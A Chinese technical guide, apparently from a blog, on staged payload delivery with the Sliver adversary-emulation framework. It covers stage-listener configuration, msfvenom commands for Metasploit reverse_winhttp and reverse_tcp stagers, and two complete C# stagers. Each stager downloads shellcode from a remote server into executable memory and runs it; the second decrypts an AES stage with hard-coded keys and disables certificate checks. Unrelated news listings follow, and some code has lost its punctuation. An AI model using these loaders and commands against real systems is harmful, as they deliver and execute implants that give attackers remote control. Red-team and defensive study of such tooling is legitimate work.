Sliver Stager 分阶段投递实战指南:stage-listener 配置、Metasploit 集成与自定义 Stager 编写
网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载本篇技术指南完整讲解 SliverAdversary Emulation Framework中的 Stager分阶段投递机制为什么需要 Stager、meterpreter staging 协议如何工作、如何用profiles newstage-listener搭建 TCP/HTTP(S) 分阶段监听器、如何用msfvenom生成配套 stager以及如何编写自定义 Stager含加密/压缩 Stage 的完整 C# 示例。读完你可以独立搭建一套「小体积首阶段 内存加载大体积第二阶段」的投递链路并理解其底层实现原理。Overview为什么需要 StagerSliver 生成的 implant 体积通常在 10MB 左右docs/sliver-docs/pages/docs/md/Stagers.md中明确指出 payload 可以达到约 10MB。在带宽受限、文件大小受限或需要隐蔽投递的场景下直接传输这么大的文件既不灵活也不现实。Stager 方案将投递过程拆成两个阶段Stage 1stager一个体积很小的引导程序负责连接 staging server、下载第二阶段的载荷并加载到内存Stage 2真正的 implant 载荷通常是 Sliver shellcode也可以是其他格式由 staging server 下发。Sliver 支持meterpreterstaging 协议可运行于TCP和HTTP(S)之上。该协议本身非常直接先从连接上读取 Stage 2 载荷的大小对 TCP stager 而言即连接的前 4 个字节下载完整的 Stage 2 载荷按照第 1 步读到的大小分配内存并把载荷写入内存执行。搭建这套链路需要三个组成部分组成部分说明Staging Server即 Sliver server负责监听并下发 Stage 2Stage 2 载荷通常是用--format shellcode生成的 Sliver shellcodeStager由msfvenom生成或手工编写见后文 Custom Stagers⚠️ 重要前提部分 Staged payload 的生成依赖 Sliver server 上可用的交叉编译工具链尤其是共享库和非本机目标。Sliver 为大多数 Windows/Linux 目标内置了 Zig 工具链但macOS 共享库/shellcode 构建需要额外安装 osxcross。快速上手基于 Profile 搭建 Staging 监听器Sliver 通过复用Profile配置文件机制来实现 staging。Profile 本质上是 implant 的蓝图定义了可供profiles new命令复用的配置。下面的命令创建一个后续用于 staging 监听的 shellcode profilesliver profiles new --mtls 192.168.122.1 --format shellcode win-shellcode [*] Saved new profile win-shellcode sliver profiles Name Platform Command Control Debug Format Obfuscation Limitations win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled随后用stage-listener命令创建 staging 监听器并把监听器与 profile 关联sliver stage-listener --url http://192.168.122.1:1234 --profile win-shellcode [*] No builds found for profile win-shellcode, generating a new one [*] Job 1 (tcp) started sliver jobs ID Name Protocol Port 1 http tcp 1234 2 mtls tcp 8888执行后 Sliver 会自动为该 profile 生成 shellcode 构建[*] No builds found for profile win-shellcode, generating a new one并注册一个 Job 供 stager 请求。--url参数的格式约束stage-listener的--url只接受tcp://、http://和https://三种 scheme格式为scheme://IP:PORT。如果没有指定 PORT会直接报错。客户端代码在 client/command/jobs/stage.go 中解析该 URL 并取出端口任一环节缺失都会打印error parsing staging port之类的错误。从源码看 TCP Stager 监听器的实现从源码结构看stage-listener命令最终通过 gRPC 调用服务端的StartTCPStagerListenerserver/rpc/rpc-stager.go。该实现会先用checkInterface()校验传入的 Host 是否绑定在真实网卡上——如果不是则回退为绑定0.0.0.0。随后调用c2.StartTCPStagerListenerJobserver/c2/jobs.go底层由 server/c2/tcp-stager.go 的StartTCPListener/acceptConnections/handleConnection完成监听端口、接受连接、一次性conn.Write(data)写入整个 shellcode 后立即关闭连接。这也是 TCP stager 协议如此简单的原因——连接建立后服务端直接把整段 Stage 2 抛给 stager。Shellcode 格式与平台差异、调优选项Shellcode 的生成因平台而异Windowsshellcode 基于Donut生成支持下方列出的全部 shellcode 调优参数macOSdarwin/arm64与 Linuxamd64/arm64shellcode 目前仅支持--shellcode-compress其余--shellcode-*选项均为 Windows 专属。各平台通用的 shellcode 选项通过profiles new传入选项说明适用范围--shellcode-encoder应用可选的 shellcode 编码器参见shellcode-encoders命令全部--shellcode-compress启用/禁用 aPLib 压缩布尔值Windows、macOS、Linux--shellcode-entropy1无2随机名称3随机加密仅 Windows--shellcode-exitopt1退出线程2退出进程3阻塞仅 Windows--shellcode-bypass1无2失败即中止3继续仅 Windows--shellcode-headers1覆盖2保留仅 Windows--shellcode-thread将非托管 EXE 入口点作为新线程运行布尔值仅 Windows--shellcode-unicode向非托管 DLL 入口点传递 Unicode 命令行布尔值仅 Windows--shellcode-oep覆盖原始入口点uint320默认仅 WindowsWindows 调优示例sliver profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcodeLinux 示例仅支持压缩sliver profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcodeMetasploitBring Your Own Stager自带 Stager注意Sliver 的generate stager命令已被移除不再可用。请使用 Metasploit 的msfvenom生成 stager或自行编写见 Custom Stagers。仅支持在 Windows 上使用 Metasploit stagers。生成 HTTP(S) Stager若要在 Sliver 中使用 Metasploit Framework 生成的 stager通过msfconsole或msfvenom需要给stage-listener额外传入--prepend-size标志sliver stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size该标志会把载荷大小以 4 字节的形式前置拼接到最终发送给 stager 的二进制数据中——这正是 Metasploitcustom类型 payload 所要求的格式。关于--prepend-size的一个实现细节从源码看客户端在 client/command/jobs/stage.go 中对tcp://scheme总是无条件 prepend 载荷大小注释Always prepend payload size for TCP stagers而 HTTP(S) 场景下才由用户显式指定--prepend-size。服务端对应的实现是 server/rpc/rpc-generate.go 的prependPayloadSize()将uint32(len(payload))按**小端序LittleEndian**写入 4 字节再与载荷拼接。随后用msfconsole或msfvenom生成custom类型的 stager shellcode 或二进制。以下是用msfvenom生成 HTTP stager 的示例msfvenom --payload windows/x64/custom/reverse_winhttp LHOST192.168.122.1 LPORT1234 LURI/hello.woff --format raw --out /tmp/stager.bin⚠️ 兼容性备注目前custom/reverse_httppayload 与 Sliver shellcode 不兼容stager 会崩溃。请改用custom/reverse_winhttp。根据所选 payload 类型还可以指定额外选项如 HTTP 代理设置。使用msfvenom --list-options payload查看选项列表或在msfconsole中执行show advanced。生成 TCP Stager同样使用stage-listener但 scheme 换成tcp://sliver stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size由于要配合 Metasploit 使用--prepend-size仍然必需。msfvenom生成 TCP stager 的示例# LHOST 和 LPORT 应与 stage-listener 命令中 --url 参数保持一致 msfvenom --payload windows/x64/custom/reverse_tcp LHOST192.168.122.1 LPORT1234 --format raw --out /tmp/stager.binCustom Stagers编写你自己的引导程序编写或使用自定义 stager 时尤其是走 HTTP 协议有一个关键约束需要理解Sliver server 只会在特定 URL 上提供 Stage 2 载荷。这是因为 HTTP staging listener 复用了常规的 HTTP listener遵循与 HTTPS C2 文档 相同的程序化 HTTP 协议。默认用于获取 Stage 2 载荷的文件扩展名是.woff可以在 HTTP C2 选项中通过stager_file_ext配置项修改该配置项在 HTTPS C2 文档 中有说明stager_file_ext指定与 stager 关联的文件扩展名默认.woffstager_files则是用于 URL 中文件名段的字符串列表会与stager_file_ext拼接。因此如果你想实现自己的 HTTP stager 去拉取 Stage 2需要请求形如http://SLIVER-SERVER:STAGING-PORT/whatever.woff的 URL。从源码验证 URL 约定的处理链路服务端在 server/c2/http.go 的stagerHandler中处理这类请求——它从 URL 中解析 nonce通过db.ResourceIDByValue找到对应的 resource ID再用db.ImplantBuildByResourceID取出构建记录只有当该构建标记为build.Stage时才会用generate.ImplantFileFromBuild取出载荷返回给 stager。以下是自定义 HTTP stager 的 C# 示例。注意请按目标 CPU 架构编译 C# 代码例如/platform:x64using System; using System.Net; using System.Runtime.InteropServices; namespace SliverStager { public class Stager { private static string url http://a.bc/test.woff; [DllImport(kernel32.dll, SetLastError true, ExactSpelling true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(kernel32.dll)] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(kernel32.dll)] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback (sender, certificate, chain, sslPolicyErrors) true; System.Net.WebClient client new System.Net.WebClient(); byte[] shellcode client.DownloadData(url); IntPtr addr VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } public static void Main(String[] args) { DownloadAndExecute(); } } }这段代码展示了标准的三步 stager 流程WebClient.DownloadData拉取.woff载荷 →VirtualAlloc以MEM_COMMIT|MEM_RESERVE0x3000PAGE_EXECUTE_READWRITE0x40分配可执行内存 →CreateThread创建线程执行。注意这里为了兼容 HTTPS 场景回调中无条件接受了服务器证书。Encrypted Stage加密与压缩的 Stage 2Sliver 在分发 Stage 时支持加密和压缩。压缩选项为zlib、gzip和deflatelevel 9加密使用AES-CBC-128——由于这种加密主要用于混淆而非强安全保护Sliver 认为不需要更复杂的密码模式。除 AES 外源码中还支持RC4server/rpc/rpc-generate.go 的Encrypt函数实现了 RC4/AES 二选一RC4 key 长度须在 1~256 字节之间AES key 长度必须为 16 的倍数两者不可同时使用。加密 Stage 的启动命令示例stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(GKbPeShVmYq3t --aes-encrypt-iv 8y/B?E(GKbPeShV参数说明--aes-encrypt-keyAES key长度必须是 16 的倍数128 位对应 16 字节--aes-encrypt-ivAES IV如果未设置则默认值为0000000000000000默认逻辑同时存在于客户端 client/command/jobs/stage.go 与服务端 server/rpc/rpc-generate.go--compress可选zlib/gzip/deflatedeflate9会回退到deflate见 server/rpc/rpc-generate.go 的Compress函数也可用--rc4-encrypt-key指定 RC4 key 代替 AES。Stage 生成完成后AES key 与 IV 会在控制台打印出来客户端在 client/command/jobs/stage.go 中输出AES KEY:/AES IV:/RC4 KEY:stager 需要用同一套参数解密。注意上述示例未包含压缩。客户端对应的加密/压缩管线实现位于 client/command/jobs/stage.go先按compress分支执行 zlib/gzip/deflate 压缩再执行 AESutil.PreludeEncrypt即纯 AES注释说明它通常用于与 Prelude 的互操作但在这里也很有用因为更高级的密码模式在 stager 中往往难以实现或 RC4util.RC4EncryptUnsafe加密。对应配套的 C# 解密 stager 完整示例注意此示例不包含压缩处理且解密逻辑会跳过前 16 字节的 IVusing System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sliver_stager { class Program { private static string AESKey D(GKbPeShVmYq3t; private static string AESIV 8y/B?E(GKbPeShV; private static string url http://192.168.24.128:8443/test.woff; [DllImport(kernel32.dll, SetLastError true, ExactSpelling true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(kernel32.dll)] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(kernel32.dll)] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback (sender, certificate, chain, sslPolicyErrors) true; System.Net.WebClient client new System.Net.WebClient(); byte[] shellcode client.DownloadData(url); Listbyte l new Listbyte { }; for (int i 16; i shellcode.Length -1; i) { l.Add(shellcode[i]); } byte[] actual l.ToArray(); byte[] decrypted; decrypted Decrypt(actual, AESKey, AESIV); IntPtr addr VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40); Marshal.Copy(decrypted, 0, addr, decrypted.Length); IntPtr hThread CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV) { byte[] key Encoding.UTF8.GetBytes(AESKey); byte[] IV Encoding.UTF8.GetBytes(AESIV); using (Aes aesAlg Aes.Create()) { aesAlg.Key key; aesAlg.IV IV; aesAlg.Padding PaddingMode.None; ICryptoTransform decryptor aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); using (MemoryStream memoryStream new MemoryStream(ciphertext)) { using (CryptoStream cryptoStream new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)) { cryptoStream.Write(ciphertext, 0, ciphertext.Length); return memoryStream.ToArray(); } } } } public static void Main(String[] args) { DownloadAndExecute(); } } }服务端的 Stage 生成管线源码透视从源码结构看无论是 TCP 还是 HTTP 场景Stage 2 的生成都统一走服务端 server/rpc/rpc-generate.go 的GenerateStageRPC按 profile 名从数据库加载 implant profiledb.ImplantProfileByName加载对应的 HTTP C2 配置并调用generate.GenerateConfig生成构建配置根据profile.Config.Format分发到SliverExecutable/SliverSharedLibrary/SliverArchive/SliverShellcode等生成函数shellcode 即SliverShellcode若请求带PrependSize调用prependPayloadSize前置 4 字节小端长度按需执行Compresszlib/gzip/deflate与EncryptAES/RC4通过generate.SaveStage保存 stage 构建并发布构建完成事件。这条管线同时被 TCP 与 HTTP 两种 staging 监听器复用因此无论是tcp://还是http(s)://监听你在profiles new中配置的 shellcode 调优参数、压缩与加密选项都作用于同一套 Stage 2 生成逻辑。限制与注意事项小结Metasploit stager 仅支持 Windows且custom/reverse_http与 Sliver shellcode 不兼容请使用custom/reverse_winhttpgenerate stager命令已移除stager 一律由msfvenom生成或自行编写HTTP staging 请求必须落在*.woff或stager_file_ext配置的扩展名URL 上否则服务端无法识别为 stager 请求使用 Metasploitcustompayload 时必须为stage-listener传--prepend-size若在自定义 stager 中使用了--aes-encrypt-key/--aes-encrypt-iv请确保 key 长度为 16 的倍数未设置 IV 时默认0000000000000000macOSdarwin/arm64与 Linux 平台 shellcode 仅支持--shellcode-compress其余调优选项为 Windows 专属交叉编译依赖macOS 共享库/shellcode 构建需要 osxcross其余多数 Windows/Linux 目标由 Sliver 内置的 Zig 工具链覆盖。相关文档与源码入口本文主体Stagers.mdHTTP C2 协议与stager_file_ext/stager_files配置HTTPS C2.md客户端stage-listener命令实现client/command/jobs/stage.go服务端 Stage 生成 RPC压缩/加密/大小前置server/rpc/rpc-generate.goTCP staging 监听器Job 管理server/c2/jobs.go 与 server/c2/tcp-stager.go客户端 RPC 入口与网卡校验server/rpc/rpc-stager.goHTTP Stager 请求处理.woffURL 分发server/c2/http.go赞分享网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载相关推荐Sliver 实战HTTP Payload Staging 分阶段投递从 Profile 构建到 Stager 落地Sliver 实战HTTP Payload Staging 分阶段投递从 Profile 构建到 Stager 落地 导读 在真实的对抗演练Adversa网络安全BYOB stager生成器原理唯一载荷前置技术防分析BYOB stager生成器原理唯一载荷前置技术防分析 在网络安全研究领域恶意代码检测与绕过始终是攻防对抗的焦点。BYOB Build Your Own B渗透测试网络安全应用安全aws apigatewayv2 get-stage 实战指南在 aws-cli 中查询 HTTP API 阶段配置aws apigatewayv2 get stage 实战指南在 aws cli 中查询 HTTP API 阶段配置 本文以 aws cli 官方示例 aws开发工具云原生运维创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关新闻

AI办公工具实测:我用了一周的AI工作台,到底省了多少事

AI办公工具实测:我用了一周的AI工作台,到底省了多少事

最近把日常办公流程整体搬到了AI工作台上跑了一周,说说真实体验:哪些是噱头,哪些是真省时间。结论先放前面——对话式处理文档、会议纪要整理、多任务并行这三件事,AI办公台是真的快。 一、我测了什么场景 长文档总结:…

2026/9/24 8:55:06 阅读更多 →
建模模拟气候驱动的富冰多年冻土边坡失稳

建模模拟气候驱动的富冰多年冻土边坡失稳

【科研速递】The Cryosphere | 建模模拟气候驱动的富冰多年冻土边坡失稳(2026-09-18) Modelling climate-induced instability of ice-rich permafrost slopes — — — — — 🌐 导语 近日,挪威奥斯陆大学(University…

2026/9/24 8:55:05 阅读更多 →
树莓派SD卡全量备份与恢复:Win32DiskImager实战指南

树莓派SD卡全量备份与恢复:Win32DiskImager实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 8:54:05 阅读更多 →

最新新闻

kornia 像素坐标归一化修复解读:singleton 轴中心映射、尺寸精度与 eps 弃用(4006)

kornia 像素坐标归一化修复解读:singleton 轴中心映射、尺寸精度与 eps 弃用(4006)

计算机视觉深度学习人工智能图像处理 【免费下载链接】kornia 🐍 空间人工智能的几何计算机视觉库 项目地址: https://gitcode.com/kornia/kornia 点击查看 免费下载 导读 本文基于 kornia 仓库的变更记录 changelog.d/migration-123.fixed.md&#xf…

2026/9/24 9:30:42 阅读更多 →
校园云机房改进方案:IPv6双栈桌面池与网络虚拟化落地实践

校园云机房改进方案:IPv6双栈桌面池与网络虚拟化落地实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 9:30:42 阅读更多 →
大三机器视觉学习心得|从“看懂图像”到“让机器看懂图像”

大三机器视觉学习心得|从“看懂图像”到“让机器看懂图像”

进入大三之后,我开始比较系统地接触机器视觉相关知识。刚开始学习的时候,我对机器视觉的理解其实比较简单,觉得无非就是“摄像头拍照 程序识别”。但随着课程学习和实际操作逐渐深入,我发现机器视觉远不只是简单的图像识别&#…

2026/9/24 9:30:42 阅读更多 →
USB PD快充调试实战:用逻辑分析仪抓BMC波形并解码协议

USB PD快充调试实战:用逻辑分析仪抓BMC波形并解码协议

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 9:30:42 阅读更多 →
ESP32-S3-WROOM-1固件烧录全攻略:从bin文件到Flash下载工具实战

ESP32-S3-WROOM-1固件烧录全攻略:从bin文件到Flash下载工具实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 9:30:42 阅读更多 →
iOS开发十年演进:从UIKit到SwiftUI与AI时代的生存指南

iOS开发十年演进:从UIKit到SwiftUI与AI时代的生存指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 9:29:41 阅读更多 →

日新闻

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为…

2026/9/24 0:00:19 阅读更多 →
单细胞注释实战:基于Scanpy的标记基因与参考映射流程解析

单细胞注释实战:基于Scanpy的标记基因与参考映射流程解析

简介:一份基于单细胞RNA测序数据的细胞类型注释算法研究Python毕业设计源码,针对计算机相关专业正在做毕设或需要项目实战的学习者,可用于课程设计与期末大作业。项目代码完整、经导师指导评审通过,可直接运行,覆盖数据…

2026/9/24 0:00:19 阅读更多 →
C#源生成器实战:用增量生成器替代反射,告别AOT崩溃

C#源生成器实战:用增量生成器替代反射,告别AOT崩溃

第一次在项目里被反射卡住,是在一个老旧的WinForms模块里:几十个类依赖PropertyChanged通知,运行时反射读属性、发通知,每次启动慢半拍不说,一上.NET Native/AOT裁剪模式几乎全面崩盘。后来我把这段逻辑全部改成C#源生…

2026/9/24 0:00:19 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/23 4:55:02 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/24 9:10:42 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/23 9:53:41 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/23 9:53:40 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/23 9:53:40 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/23 9:53:40 阅读更多 →